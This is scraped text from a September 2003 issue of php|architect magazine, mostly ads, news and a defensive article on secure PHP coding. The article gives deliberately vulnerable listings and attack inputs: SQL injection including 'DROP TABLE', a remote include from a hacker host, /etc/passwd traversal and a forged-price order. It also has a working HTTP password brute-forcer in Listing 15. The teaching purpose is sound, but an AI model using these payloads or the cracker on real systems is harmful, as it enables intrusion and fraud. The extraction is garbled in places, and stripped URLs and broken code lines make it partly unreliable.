Tải bản đầy đủ (.pdf) (76 trang)

Introduction to Bug Management

Bạn đang xem bản rút gọn của tài liệu. Xem và tải ngay bản đầy đủ của tài liệu tại đây (2.01 MB, 76 trang )

www.phparch.com
SEPTEMBER 2003
The Magazine For PHP Professionals
VOLUME II - ISSUE 9
php
|
Cruise
March 1
st
- March 5
th
2004
See inside for details
Get Ready For
Plus:
Tips & Tricks, Product Reviews and much more...
Creating a Reusable Menu Creating a Reusable Menu
System with XML and PHPSystem with XML and PHP
Printing with PHPPrinting with PHP
Using PHP's printer functions Using PHP's printer functions
from Windowsfrom Windows
Introduction to Introduction to
Bug ManagementBug Management
Understand the need, the solutions,Understand the need, the solutions,
and the processesand the processes
Installing Java for PHPInstalling Java for PHP
Demystify the beastDemystify the beast
Advanced DatabaseAdvanced Database
Features ExposedFeatures Exposed
Come to terms with usingCome to terms with using
the best tool for the jobthe best tool for the job


Secure PHPSecure PHP
Taking the key outTaking the key out
of the lockof the lock
Signup now and save $100.00!
Hurry, space is limited.
Visit us at www.phparch.com/cruise for more details.
php
|
Cruise
March 1
st
- March 5
th
2004
Andrei Zmievski -
Andrei's Regex Clinic
, James Cox -
XML for the Masses
, Wez Furlong -
Extending PHP
,
Stuart Herbert
- Safe and Advanced Error Handling in PHP5, Peter James - mod_rewrite: From Zero to Hero, George
Schlossnagle - Profiling PHP, Ilia Alshanetsky - Programming Web Services, John Coggeshall - Mastering PDFLib,
Jason Sweat - Data Caching Techniques
<?
?>
We’ve got you covered,
from port to sockets.
Port Canaveral • Coco Cay • Nassau

Plus: Stream socket programming, debugging techniques, writing high-performance code,
data mining, PHP 101, safe and advanced error handling in PHP5, programming smarty,
and much, much more!
FROM THE EXPERTS AT DEVELOPER’S LIBRARY...
MORE TITLES FROM DEVELOPER’S LIBRARY
Advanced PHP
Programming
by George Schlossnagle
ISBN: 0-672-32561-6
$49.99 US • 500 pages
PHP and MySQL Web
Development, Second Edition
by Luke Welling and
Laura Thomson
ISBN: 0-672-32525-X
$49.99 US • 912 pages
PHP Developer’s Handbook
by John Coggeshall
ISBN: 0-672-32511-X
$49.99 US • 800 pages
MySQL, Second Edition
by Paul DuBois
ISBN: 0-7357-1212-3
$49.99 US • 1248 pages
Elevate Your PHP with
Advanced PHP Programming
While there are many books on
learning PHP and developing
small applications with it, there is
a serious lack of information on

scaling PHP for large-scale,
business-critical systems.
Schlossnagle’s Advanced PHP
Programming fills that void,
demonstrating that PHP is ready
for enterprise Web applications
by showing the reader how to
develop PHP-based applications
for maximum performance, stability,
and extensibility.
www.developers-library.com
DEVELOPER’S
LIBRARY
Essential references for programming professionals
php|architect readers,
get 40% off books in the
Developer’s Library
Visit www.developers-library.com
and add the books of your
choosing to your shopping
cart. Upon check-out, enter the
coupon code PHPARCH03
to receive discount. Offer valid
through 12/31/03.
TABLE OF CONTENTS
II NN DD EE XX
6 EDITORIAL
From the front line
7 What’s New!
49 Product Review

Lumenation and LightBulb
68 Book Review
Core PHP Programming
3rd Edition
69 Tips & Tricks
By John W. Holmes
73 Bits & Pieces
Real. Interesting. Stuff.
76 exit(0);
Buy vs. Build
By Marco Tabini
9 Secure PHP Coding
by David Jorm and Jody Melbourne
19 Introduction to Bug Management
by Dejan Bosanac
27 Advanced Database Features Exposed
by Davor Pleskina
35 Creating a Reusable Menu System
with XML and PHP
by Leon Vismer
45 Speaker on the High Seas
by Marco Tabini
52 Printing with PHP
by Alessandro Sfondrini
61 Installing Java for PHP
by Dave Palmer
php|architect
Features
Departments
4

September 2003 · PHP Architect · www.phparch.com
*By signing this order form, you agree that we will charge your account in Canadian dollars for the
“CAD” amounts indicated above. Because of fluctuations in the exchange rates, the actual amount
charged in your currency on your credit card statement may vary slightly. †Limited time offer
extended to September 30th, 2003.
Choose a Subscription type:
Canada/USA $ 81.59 $67.99 CAD ($59.99 $49.99 US*)
International Surface $108.99
$94.99 CAD ($79.99 $69.99 US*)
International Air $122.99 $108.99 CAD ($89.99 $79.99 US*)
Your charge will appear under the name "Marco Tabini & Associates, Inc."
Please allow up to 4 to 6 weeks for your subscription to be established and
your first issue to be mailed to you.
*US Pricing is approximate and for illustration purposes only.
php|architect Subscription Dept.
P.O. Box 3342
Markham, ON L3R 9Z4
Canada
Name:
Address:
City:
State/Province:
ZIP/Postal Code:
Country:
Payment type:
VISA Mastercard American Express
Credit Card Number:
Expiration Date:
E-mail address:
Phone Number:

Buy now and save $10 off the price of any subscription†
Visit: for more information or to subscribe online.
Signature: Date:
To subscribe via snail mail - please detach this form, fill it out and mail to the address above or fax to +1-416-630-5057
php|architect
The Magazine For PHP Professionals
Existing
subscribers
can upgrade to
the Print edition
and save!
Login to your account
for more details.
NEW!
NEW!
September 2003 · PHP Architect · www.phparch.com
EE DD II TT OO RR II AA LL RR AA NN TT SS
php|architect
Volume II - Issue 9
September, 2003
Publisher
Marco Tabini
Editor-in-Chief
Peter James

Editor-at-Large
Brian K. Jones

Editorial Team
Arbi Arzoumani

Peter James
Brian Jones
Eddie Peloke
Graphics & Layout
Arbi Arzoumani, Hammed Malik,
Marina Zlatogorov
Managing Editor
Emanuela Corso
Director of Marketing
J. Scott Johnson

Account Executive
Shelley Johnston

Authors
Dejan Bosanac, David Jorm,
Dave Palmer, Davor Pleskina,
Allessandro Sfondrini, Leon Vismer
php|architect (ISSN 1705-1142) is published twelve times a year
by Marco Tabini & Associates, Inc., P.O. Box. 3342, Markham, ON
L3R 6G6, Canada.
Although all possible care has been placed in assuring the accu-
racy of the contents of this magazine, including all associated
source code, listings and figures, the publisher assumes no
responsibilities with regards of use of the information contained
herein or in all associated material.
Contact Information:
General mailbox:
Editorial:
Subscriptions:

Sales & advertising:
Technical support:
Copyright © 2002-2003 Marco Tabini &
Associates, Inc. — All Rights Reserved
I
n the relatively short time that I’ve been with
php|architect (about six months now), I’ve
seen a lot of our magazine content cross my
(very messy) desk. In that same time period,
I’ve been committed to gobbling up any and all
PHP content gracing the pages of other publi-
cations and developer sites. I now feel that I
am qualified to state an opinion:
We have great content.
Our authors consistently dig deep into their top-
ics, bringing you their practical experience, exam-
ples, and well-written explanations. Their enthusi-
asm for their articles shines through, and brings
warmth and community to the pages of
php|architect every month.
We constantly demand the best from our
authors, and they, in turn, demand the best from
us. The php|architect editorial team prides itself
on being transparent, and I believe that authors
enjoy writing for us because of it (maybe this
helps explain why there are only two new
authors and four return authors this month). By
transparent, I mean that we are honest and up
front with them, as well as ourselves. We view
our authors as collaborators and team members,

never as service providers or vendors. We are
easy to work with, and are eager to bend over
backward to help if we can see that an honest
effort is being made.
Through all of this we never compromise our
integrity or settle for second best. Really, though,
how could we? We serve one of the greatest soft-
ware communities in the world!
This brings me to my next point. I am
absolutely ecstatic to have been bestowed the
honor of directing the editorial path of
php|architect. Our authors, our readers, and
our editorial team have all worked hard to build
an excellent resource that brings you the best
that the PHP world has to offer each and every
month.
The hardest part of my new role here at php|a
will probably be trying to fill Brian’s shoes – he’s
got really big feet.* Brian has worked extreme-
ly hard to foster long-term relationships with
our authors, and I will be working feverishly to
continue to build and maintain that community,
as well as various other initiatives on the front
and back-end of the publication.
But don’t worry, I’m still sleeping four hours a
night.
I sincerely hope you enjoy this month’s issue.
People lost hair, sleep, and teeth over it. And, as
always, if you see anything you particularly like or
don’t like in our magazine this month, I strongly

encourage you to send us your feedback at
EDITORIAL
Even fan letters firmly
stating that “You suck.” will be warmly accepted, as
they help to break up the large amounts of spam
that we all get from that address.
* Actually, I’ve never physically seen Brian, or
Brian’s shoes... I’m pretty sure I can smell them,
though.
September 2003

PHP Architect

www.phparch.com
7
EDITORIAL
When in Rome...
Go to PHP Day 2003!
T
he first conference dedicated exclusively
to the Italian PHP Community, called PHP
Day 2003, will take place on October 24,
2003 in Rome at the Universita’ Tor Vergata.
The program includes several speakers from
the Italian technical community, and focuses
on the theme of interface development, as
well as a few tutorials to get the beginners up
and running. Most of all, PHP Day revolves
around the concept of providing the PHP com-
munity with an opportunity to meet and

exchange their experiences.
If you live in Italy, this is a great opportunity
to meet your fellow PHP enthusiasts. If you
don’t live in Italy... this might be the perfect
excuse for that long-postponed vacation!
For more information on PHP Day, visit
http://www
.phpday.it
or mail the organizers
at staff@phpday
.it
.
PHP 4.3.3
PHP.net announced the
release of PHP 4.3.3.
This release contains a
large number of bug fixes
and it is recommended that
all users ugrade to this ver-
sion.
Changes include:
• Synchronized bundled GD Library with
GD 2.0.15
• Upgraded the bundled Expat Library to
version 1.95.6
• Improved the engine to use POSIX/socket
IO where feasible
• and much more.....
Visit to php.net download or view the change log.
Apache Cocoon 2.1

Apache Cocoon is a web development frame-
work built around the concepts of separation of
concerns (making sure people can interact and
collaborate on a project, without stepping on
each other toes) and component-based web
development.
Cocoon implements these concepts around the
notion of ‘component pipelines’, each component
on the pipeline specializing on a particular opera-
tion. This makes it possible to use a Lego(tm)-like
approach in building web solutions, hooking
together components into pipelines without any
required programming.
Cocoon is “web glue for your web application
development needs”. It is a glue that keeps con-
cerns separate and allows parallel evolution of the
two sides, improving development pace and
reducing the chance of conflicts.
Cocoon has a PHP Generator which is not includ-
ed in the binary distribution but can be found at:
cocoon.apache.org/2.1/
userdocs/generators/php-generator.html
Get more information or download from the
Cocoon Project Page:
cocoon.apache.org/
What’s New!
NEW STUFF
php|a
ZEND Studio 3.0.0 Beta
Zend.com announced this month the release of

the Zend Studio 3.0.0 Beta for Windows and Mac.
The latest release includes:
• Code Profiler – Determine which scripts are
slowing down your project so you can focus
your time on improving their performance
• One-click debugging and profiling tool –
Direct debugging and profiling of web
pages directly from your browser
• Code Analyzer – Pinpoint messy code,
allowing you to write cleaner more correct
code
• Highlight syntax errors – Write clean PHP
code while you are typing
• Support for PHP 5.0 – Including syntax
highlighting, code completion, file and proj-
ect inspectors
• Dramatic performance improvements
• Code Completion improvements –
Including improve speed, recognized con-
stants, and new functions arguments
view...and much more
Get more information or download from
Zend.com.
PhpBB 2.0.6
The phpBB Group is pleased to announce the
release of phpBB 2.0.6 the “phew, it’s way to hot
to be furry” Edition. This release had been made
to fix a number of potential security related issues
and more annoying bugs. Work continues on 2.2.0
and another 2.0.x release is not planned except

where critical issues arise.
phpBB.com describes phpBB as:
”...a high powered, fully scalable, and highly
customisable open-source bulletin board
package. phpBB has a user-friendly inter-
face, simple and straightforward administra-
tion panel, and helpful FAQ. Based on the
powerful PHP server language and your
choice of MySQL, MS-SQL, PostgreSQL or
Access/ODBC database servers, phpBB is
the ideal free community solution for all
web sites.”
phpBB strongly advises all users to upgrade.
Get more information for phpBB.com.
Japha 1.3.3
The Japha site touts it as “An Expandable
Implementation of Java in PHP”.
From Japha:
(japha.xzon.net/index.html)
“Japha is an attempt to bring the main classes
in the Java 1.4.1 (soon to be 1.4.2, time allow-
ing) to PHP for use in everyday programs. We
do this using the syntax that has been made
common with the new releases of PHP 5. This
allows us to easily implement interface,
abstract classes, and more inheritance capa-
bilities, not to mention excellent error han-
dling and the ability to better conform with
user-created data types.”
Get more information or download the latest

version from Japha.xzon.net
LightBulb 4.79
LightBulb (formerly EzSDK) is a PHP SDK which
includes a PHP source code generator, a library of
PHP Classes, and an application environment con-
sisting of premade supporting modules. The mod-
ules handle user application and data access
security, DB compatibility, a built-in GUI interface
with an interactive desktop and more. Check out
this month’s product review for more information.
This release contains changes to the spell
checking features.
Spell checking of user data is now an inher-
ent, interactive user option throughout the
system. Developers are able to utilize the
spell check features throughout every appli-
cation developed without writing any source
code to facilitate this.
Get more information or view the demo at
ezsdk.com
September 2003

PHP Architect

www.phparch.com
8
NNEEWW SSTTUUFFFF
php|a
W
eb applications, by their very nature,

have a broad exposure to remote attack-
ers and a set of potential vulnerabilities
as rich as the languages and protocols from
which they are born. Web applications are han-
dling an ever-growing list of business functions,
and the code driving them must be paid due
attention with regard not only to performance
and stability, but also to security.
This article is aimed at providing a concise list-
ing and discussion of the most common vulnera-
bilities that exist in PHP web applications. This
vulnerability listing is used at the end of the arti-
cle as the basis for developing coding and code
audit/testing methodologies which can be
applied to any PHP web application.
Note that, for the sake of brevity, only the most
common and severe vulnerabilities have been
listed and that vulnerabilities outside the scope
of PHP code – such as those which may exist in a
web server or PHP itself – are not covered by this
article.
SQL Injection
An SQL injection vulnerability can rear its ugly
head when user-submitted variables are used to
assemble SQL queries on the server side without
sufficient input validation. The underlying SQL
statement can be manipulated or additional SQL
statements injected by an attacker. SQL Injection
is one of the most common web application vul-
nerabilities, but does not affect PHP code as

much as other languages, mostly due to PHP’s
automatic character escaping and built-in valida-
tion functions. A sample vulnerability is shown in
Listing 1.
A sample attack on that vulnerability might
look like the following:
Note that the value being passed to artid is a
urlencoded version of “0 or ArticleID <> 0”.
Making a call to the link above would cause the
following value to be assigned to $ssql and exe-
/>0%20or%20ArticleID%20<>%200
NOTE: All examples use the HTTP GET
method so that attacks can be easily illus-
trated as URIs. Keep in mind that using POST
is no defence; the variables are simply in the
HTTP message body rather than the query
string component of the URI. From a theoret-
ical perspective, at least, POST variables are
just as easy to manipulate as GET variables.
September 2003

PHP Architect

www.phparch.com
9
FEATURE
Secure PHP Coding
by David Jorm and Jody Melbourne
PHP: 4.0+
OS: N/A

Applications: N/A
Code Directory: secure_php
REQUIREMENTS
cuted on the SQL server:
Some database servers also allow multiple SQL
statements to be concatenated using a semi-
colon (;) as a separator. In that case, the follow-
ing attack could be used:
In this case, the urlencoded value being passed
into artid is “0; DROP TABLE Articles”. You can
imagine the problems that this might cause.
The key to protecting code against SQL injec-
tion attacks – also key for protecting against
most web application vulnerabilities – is rigor-
ous input validation. PHP can automatically
escape some characters, such as apostrophes
(‘), providing protection against attacks involv-
ing those characters, but this is not sufficient
immunity. All user-controlled variables used to
construct SQL statements or other commands
must be stripped of any content that may alter
the effects of the query. For numeric inputs,
either verify that the value is indeed numeric,
or make it numeric using settype()
. For non-
numeric inputs, run the variable through
addslashes() or addcslashes() before using it
to construct a query. The vulnerable example
above is patched in Listing 2. More information
on patching against SQL injection is available at

www.zend.com/manual/security.database.php.
In testing for SQL injection, the blackbox tester
studies application inputs and attempts to insert
special characters (such as commas, apostrophes,
semicolons, quotation marks, and equal signs) or
SQL keywords (AND, OR, SELECT, INSERT, etc).
With many of the popular backends, informa-
tive error pages are displayed by default, which
can often give clues to the underlying SQL query
in use. For example, asking for
instead of
could return a telltale error like this one:
It is evident from this response that the value
for itemID is being used directly (without any val-
idation) within an SQL query.
PHP Code Injection
When user-defined inputs form the file path
parameters used to call include()
, fopen() or
other similar functions, there are several possi-
bilities for exploitation. The first, PHP code injec-
tion, is based on manipulating the input to
include() to run your own PHP code. The sec-
ond, path traversal, is based on manipulating the
input to include() or fopen() to display files or
create an open proxy. Note that both of these
bugs rely on the same basic problem and overlap
somewhat.
PHP code injection is similar to SQL injection,
but involves native PHP code being injected by

the user rather than SQL. This is made possible
when the code makes use of the include() func-
tion. The include() function will accept a file
name or URI (if the appropriate wrapper is
installed) and include the contents of the
resource as part of the PHP program. This is fre-
quently used as a means of keeping libraries of
code separate, and applications more modular,
mySQL error with query SELECT myitem FROM
shop_item WHERE itemid=123’;:
You have an error in your SQL syntax near
‘’’ at line 1

/> />0;%20DROP%20TABLE%20Articles
SELECT ArticleContents FROM Articles
WHERE ArticleID = 0 OR ArticleID <> 0
September 2003

PHP Architect

www.phparch.com
10
FFEEAATTUURREESS
Secure PHP Coding
1 <?php
2
3 // sqlinject.php
4 $ssql=”SELECT ArticleContents FROM Articles WHERE
ArticleID = “ . $_GET[‘artid’];
5 $conn=mysql_connect(‘127.0.0.1’, ‘dbuser’, ‘dbpw’);

6 $res=mysql_query($ssql, $conn);
7 while ($resarr=mysql_fetch_row($res)) {
8 echo “<span id=\”article\”>” . $resarr[0] .
“</span>\n\”;
9 }
10 mysql_close($conn);
11
12 ?>
Listing 1
1 <?php
2
3 //sqlinjectpatched.php
4 if (!is_numeric($_GET[‘artid’]))
5 die;
6 $ssql=”SELECT ArticleContents FROM Articles WHERE ArticleID
= “ . $_GET[‘artid’];
7 $conn=mysql_connect(‘127.0.0.1’, ‘dbuser’, ‘dbpw’);
8 $res=mysql_query($ssql, $conn);
9 while ($resarr=mysql_fetch_row($res)) {
10 echo “<span id=\”article\”>” . $resarr[0] .
“</span>\n”;
11 }
12 mysql_close($conn);
13
14 ?>
Listing 2
calling include() to load needed functions at
runtime or ‘on demand’, but it’s also frequently
mis-used to include local text files, or worse,
remote data from a URI. PHP code injection is

achieved by placing malicious PHP code inside a
resource which is run through include(), or
finding a way to have the include() call load
something unintended by the application devel-
oper. A sample vulnerability is shown in Listing
3.
A sample attack on that vulnerability might
look like the following:
Making a call to the above link would cause the
contents of www
.hacker
.com/phpinjection.php
to
be included into the program and executed local-
ly. This page could output any malicious code the
attacker can conjure up.
The primary strategy for defending against
code injection attacks is to use include() appro-
priately. Having URI file wrappers enabled is gen-
erally a security liability and if your site does not
explicitly use them, they should be disabled. If it
is necessary to have user manipulable variables
run through include(), ensure that they are
properly validated. Listing 3 is patched in Listing
4.
When trying to locate these vulnerabilities via
blackbox testing, the tester would attempt to
inject file and directory special characters (such
as . and /) into variables and see if this elicits a
response from the application which might aid

an attack. Imagine that a regular (non-mali-
cious) URL looks like this:
Let’s look at what we get if we change the
query string a little, as follows:
The response from the application might be
some telltale warnings, like so:
This response indicates that the value of the
‘in’ variable is being used within an include()
call. In this case, an attacker would be able to
submit a request such as:
to open (include) any readable file.
Path Traversal
Very closely related to PHP code injection is path
traversal. Although Listing 4 protects against
PHP code injection, it applies no input validation
to the page GET variable, allowing the user to
enter not just a file name but an absolute path.
This can allow an attacker to view any file that
the web server has permission to read. If URI
wrappers were enabled, it would also allow an
attacker to use the site as an open proxy to view
/>/etc/passwd
Warning: main(./../test.inc)
[function.main]: failed to create stream:
No such file or directory in main.php on
line 102
Warning: main() [function.main]: Failed
opening ‘./../test.inc’ for inclusion
(include_path=’.:’) in main.php on line
102

/>
/>page= />phpinjection.php
September 2003

PHP Architect

www.phparch.com
11
FFEEAATTUURREESS
Secure PHP Coding
1 <?php
2
3 //phpcodeinject.php
4 if isset($_GET[‘page’])
5 include($_GET[‘page’]);
6 else
7 echo “Please specify a page to view\n”;
8
9 ?>
Listing 3
1 <?php
2
3 //phpcodeinjectpatched.php
4 if isset($_GET[‘page’]) {
5 $fp=fopen($_GET[‘page’], ‘rb’);
6 fpassthru($fp);
7 fclose($fp);
8 } else
9 echo “Please specify a page to view\n”;
10

11 ?>
Listing 4
1 <?php
2
3 //pathtraversal.php
4 if isset($_GET[‘page’]) {
5 $fp=fopen($_GET[‘page’], ‘rb’);
6 fpassthru($fp);
7 fclose($fp);
8 } else
9 echo “Please specify a page to view\n”;
10
11 ?>
Listing 5
other resources on the web. A sample vulnera-
bility is shown in Listing 5.
A sample attack on that vulnerability might
look like the following:
Calling the above link might cause the contents
of /etc/passwd to be returned to the attacker —
obviously not what the script was supposed to
do! If URI wrappers were enabled, the following
attack could also be used:
This would cause the web server to source the
contents of the URI www
.phparch.com and
return them to the attacker, effectively working
as an open proxy. Oh, what we wouldn’t do for
our daily dose of PHP goodness!
The key to defending against path traversal

attacks is, once again, input validation. Ideally,
all files that the script is serving can be numeri-
cally sequenced, requiring only a numeric input
of the file number from the user. A patched ver-
sion of Listing 5 using this method is shown in
Listing 6.
Alternatively, the page variable can be
stripped of all characters which may allow a user
to enter an absolute path or URI. A patched ver-
sion of Listing 5 using this method is shown in
Listing 7.
These vulnerabilities can often be located
through blackbox testing of the application. The
tester would attempt to inject file and directory
special characters (such as . and /) into variables
and see if this returns (or attempts to return)
arbitrary files. Imagine that a regular (non-mali-
cious) URL looks like this:
To test for path traversal, we might use the fol-
lowing URL’s:
If the tester receives a ‘File not found’ or
‘Cannot open’ error, it may simply be a matter of
adjusting paths or increasing the amount of tra-
versal characters (../). fopen()
and include()
error messages are generally very informative in
describing the error, and can give the tester all
the information needed to correctly manipulate
this request.
Trusted User Manipulable Values

A major problem with the web application envi-
ronment and the advanced tools used within it,
of which PHP is only one, is the fact that they
hide the source of some inputs from the develop-
er. For example, PHP will expose the contents of
a form field, GET variable or POST variable indis-
criminately as a variable with the same name as
the field or HTTP variable. Developers come to
rely on this feature and can fail to consider
whether a trusted variable, such as the value of
a product or name of a file, comes from a source
which cannot be manipulated by an attacker. The
classic example is hidden form fields used to
carry session-related variables, such as the
name and value for products on an e-commerce
site. The developer is relying on the notion that
since he has set these values, he will read them
back in from the subsequent form, unchanged.
But when a form is submitted, the contents of
the form fields are simply passed to the resource
in the FORM tag’s ACTION attribute as either GET
or POST variables, as specified by the METHOD
attribute. An attacker can then change the price
of products by making his own form carrying the
desired values, or manipulating GET/POST vari-
/>/motd
/>/../../etc/passwd

/>page=
/>../../../../../etc/passwd

September 2003

PHP Architect

www.phparch.com
12
FFEEAATTUURREESS
Secure PHP Coding
1 <?php
2
3 //pathtraversalpatched1.php
4 if is_numeric($_GET[‘page’]) {
5 $fp=fopen(‘/var/www/files/file’ . $_GET[‘page’] .
‘.txt’, ‘rb’);
6 fpassthru($fp);
7 fclose($fp);
8 } else
9 echo “Please specify a valid page number to view\n”;
10
11 ?>
Listing 6
1 <?php
2
3 //pathtraversalpatched2.php
4 if isset($_GET[‘page’]) {
5 $fp=fopen(stripfilename($_GET[‘page’]), ‘rb’);
6 fpassthru($fp);
7 fclose($fp);
8 } else
9 echo “Please specify a page to view\n”;

10
11 function stripfilename($filename) {
12 $filename=str_replace(‘.’, ‘’, $filename);
13 return str_replace(‘/’, ‘’, $filename);
14 }
15
16 ?>
Listing 7
ables manually. A sample vulnerability is shown
in Listings 8 (the HTML form) and 9 (the form
handler).
A sample attack on that vulnerability might
look like the following:
Calling the link above allows an attacker to
successfully place an order, using a valid credit
card, but with a price of the attacker’s choosing,
in this case $1. The developer is presuming that
the only way his form handler will be accessed is
via Listing 8, where the price value is set by a
PHP variable. Were POST being used rather than
GET, an attacker could construct an HTML docu-
ment, as shown in Listing 10, and place the order
for $1 by simply submitting the new form.
Trusted variable vulnerabilities can be avoided
by setting session-related variables appropriately,
using sessions or cookies (although both of these
have some, albeit lesser, problems in their own
right). A preferable solution would be to always
reference the price from a database on the server
side and carry a productid variable in a PHP ses-

sion or browser cookie. Both of the previous vul-
nerabilities are patched with Listings 11 and 12.
The blackbox tester examines all available
source pages for evidence of HIDDEN or dynami-
cally-generated variables. The tester saves a copy
of the form page locally and manipulates these
variables, loads the form page into a browser and
submits the modified request. In many cases, the
tester may not be able to determine if the modi-
fied values have been accepted unless they are
displayed on a subsequent page (such as in the
Checkout page of a shopping-cart application.)
Weak Authentication
Despite the widespread gospel that clear-text
authentication credentials are a cardinal sin and
that passwords should conform to minimum com-
plexity rules, these fundamentals of secure pro-
gramming are frequently not applied in the web
application world. HTTP includes two standard
authentication mechanisms: basic and digest.
Both mechanisms operate as a series of HTTP
exchanges with a demand for authentication
issued by the server in an HTTP header, followed
by a repeated request from the client, including
authentication credentials in another HTTP header.
The primary difference is that basic authentication
uses clear text and is simply base64 encoded,
while digest is encrypted using a nonce (time sen-
/>1&cc=5353167819823
September 2003


PHP Architect

www.phparch.com
13
FFEEAATTUURREESS
Secure PHP Coding
1 <?php //trustedvaluesform.php ?>
2 <html>
3 <form action=”trustedvaluesformhandler.php” method=”get”>
4 <input type=”hidden” name=”price” value=”<?=$price?>”>
5 Credit Card #:<input type=”text” size=”10” name=”cc”>
6 <br><br>
7 <input type=”submit” value=”Order Product”>
8 </form>
9 </html>
Listing 8
1 <?php
2
3 //trustedvaluesformhandler.php
4 if (!isset($_GET[‘price’]) || !isset($_GET[‘cc’]))
5 die;
6 mail(“”, “New Bill”, “Bill card “ .
$_GET[‘cc’] .. “\nFor amount: \$” .
$_GET[‘price’]);
7 echo “Order placed\n”;
8
9 ?>
Listing 9
1 <html>

2 <form action=” />trustedvaluesformhandler.php” method=”post”>
3 <input type=”hidden” name=”price” value=”1”>
4 <input type=”hidden” name=”cc” value=”5353167819823”>
5 <input type=”submit” value=”Order Product”>
6 </form>
7 </html>
Listing 10
1 <?php
2
3 //trustedvaluesformhandlerpatched.php
4 session_start();
5 if (!isset($_SESSION[‘productid’]) || !isset($_GET[‘cc’]))
6 die;
7 // Call me paranoid, but sanity check session variable
8 if (!isnumeric($_SESSION[‘productid’]))
9 die;
10 $ssql=”SELECT Price FROM Products WHERE ProductID = “ .
$_SESSION[‘productid’];
11 $conn=mysql_connect(‘127.0.0.1’, ‘dbuser’, ‘dbpw’);
12 $res=mysql_query($ssql, $conn);
13 $resarr=mysql_fetch_row($res);
14 mysql_close($conn);
15 mail(“”, “New Bill”, “Bill card “ .
$_GET[‘cc’] .. “\nFor amount: \$” . $resarr[0]);
16 echo “Order placed\n”;
17
18 ?>
Listing 12
1 <?php
2

3 //trustedvaluesformpatched.php
4 session_start();
5 $_SESSION[‘productid’]=$productid;
6
7 ?>
8 <html>
9 <form action=”trustedvaluesformhandlerpatched.php”
method=”get”>
10 <input type=”hidden” name=”price” value=”<?=$price?>”>
11 Credit Card #:<input type=”text” size=”10” name=”cc”>
12 <br><br>
13 <input type=”submit” value=”Order Product”>
14 </form>
15 </html>
Listing 11
sitive value) issued by the server as a key.
Basic authentication can be set up easily by using
PHP’s header() function to issue the required
header. The $_SERVER[‘PHP_AUTH_USER’] and
$_SERVER[‘PHP_AUTH_PW’] variables are created
by PHP when a request has included authentication
credentials. This is, unfortunately, promoted by
many tutorials on PHP programming. The main
alternative to basic HTTP authentication is to have
a custom solution where a session id or cookie is
issued to the client once it has successfully authen-
ticated – this token then being checked with each
subsequent request for a protected resource. This
relies on the developer correctly enforcing pass-
word complexity rules and is vulnerable to replay

attacks. A sample vulnerability is shown in Listing
13 (allowing a weak password to be set) and 14
(doing effectively clear-text authentication).
Lack of complexity rules can make you vulnera-
ble to brute force attacks, because with short and
common passwords little key space will need to be
exhausted before an attacker finds his way in.
Brute force attacks most commonly work either
from a dictionary file of common words, or in an
incremental mode trying every possible string.
Sometimes a hybrid of the two is used, attaching
short incremental suffixes and prefixes to com-
mon words. Listing 15 is an example of an incre-
mental-mode brute-forcing tool.
Basic HTTP authentication is vulnerable only to
third party attack, where an attacker is sniffing
or otherwise intercepting the site’s communica-
tion and extracting the clear text authentication
credentials. No sample attack is provided for
extracting clear text credentials.
There is no patch, as such, for the use of basic
HTTP authentication. The point was merely to
illustrate that its use, without SSL or some other
form of encryption, is a security liability.
Password complexity rules, however, can be
applied in a variety of ways. PHP functions are
available to utilise the CrackLib library to check
the strength of passwords. The strength is deter-
mined by length, use of upper and lower case
and dictionary checks. If CrackLib is not available

or you wish to enforce custom business rules for
password strength, writing your own implemen-
tation is simple. Listing 13 is patched using a
custom password strength test in Listing 16
To identify these vulnerabilities, the blackbox
tester must first identify the authentication
method in use. If basic HTTP authentication is
September 2003

PHP Architect

www.phparch.com
14
FFEEAATTUURREESS
Secure PHP Coding
1 <?php
2
3 //nopwrules.php
4 if (isset($_GET[‘newpw’])) {
5 $fp=fopen(‘pw.txt’, ‘wb’);
6 fputs($fp, $_GET[‘newpw’]);
7 fclose($fp);
8 echo “New Password Set\n”;
9 } else {
10 echo “Specify Password\n”;
11 }
12
13 ?>
Listing 13
1 <?php

2
3 //basicauth.php
4 if ($PHP_AUTH_USER != “user” || $PHP_AUTH_PW !=”pass”) {
5 header(‘WWW-Authenticate: Basic realm=”server.com”’);
6 header(“HTTP/1.0 401 Unauthorized”);
7 else {
8 echo “Successful”;
9 }
10
11 ?>
Listing 14
1 <?php
2
3 // PHP HTTP Password Cracker
4
5 // The range of characters to use; 127 for ASCII
6 $num_chars=127;
7
8 // Define the base URL to attack
9 $urlstr=”
10
11 // Define maximum length of strings to generate
12 $strlen=30;
13
14 // Define error message given when password doesn’t work
15 $pwerr=”Error”
16 // Begin program
17 $ord_arr=array(0);
18 $str=””;
19 while (sizeof($ord_arr) < $strlen) {

20 $str=””;
21 for ($i=0; $i<sizeof($ord_arr); $i++) {
22 $str .= chr($ord_arr[$i]);
23 }
24 $pwf=fopen($urlstr . $str , ‘rb’);
25 $pwstr=fgets($pwf, 4096);
26 fclose($pwf);
27 if ($pwstr != $pwerr)
28 echo “String ‘“ . $str . “‘ works as password\n”;
29 if ($ord_arr[sizeof($ord_arr)-1] == $num_chars) {
30 $reset=true;
31 for ($i=0; $i<sizeof($ord_arr); $i++) {
32 if ($ord_arr[$i] != $num_chars) {
33 $reset=false;
34 }
35 }
36 if ($reset) {
37 echo “Exhausted “ . sizeof($ord_arr) .
“ character space\n”;
38 for ($i=0; $i<sizeof($ord_arr); $i++) {
39 $ord_arr[$i]=0;
40 }
41 $ord_arr[]=0;
42 } else {
43 $incremented=false;
44 for ($i=sizeof($ord_arr)-1; $i>=0; $i—) {
45 if ($ord_arr[$i] == $num_chars &&
$incremented == false) {
46 $ord_arr[$i]=0;
47 }

48 else if ($ord_arr[$i] != $num_chars &&
$incremented == false) {
49 $ord_arr[$i]++;
50 $incremented=true;
51 }
52 }
53 }
54 } else {
55 $ord_arr[sizeof($ord_arr)-1]++;
56 }
57 }
58
59 ?>
Listing 15
being used, the tester can attempt to
brute-force a valid login and password pair – in
most cases, account lockout restrictions are not
enforced.
There are many tools available online to test the
strength of basic HTTP authentication. One of the
more popular password cracking tools is Cain&Abel
– available from />Poorly-Applied Authentication
Authentication mechanisms can sometimes fail
to cover every access method for a resource and
restrict access accordingly. The classic example
is a menu driven by permissions associated with
authentication credentials providing access to a
list of resources the user is allowed to view. The
resources themselves, however, do not require
authentication credentials and rely on the notion

that they are hidden unless access to them is
provided via a menu. This is security through
obscurity, and is a major flaw. A recent high-pro-
file example of this problem is an Australian
Taxation Office site where a user provided
detailed credentials to authenticate their identi-
ty and were then allowed to view details associ-
ated with their Tax File Number. The page pro-
viding this access simply accepted the Tax File
Number as a GET variable, such as:
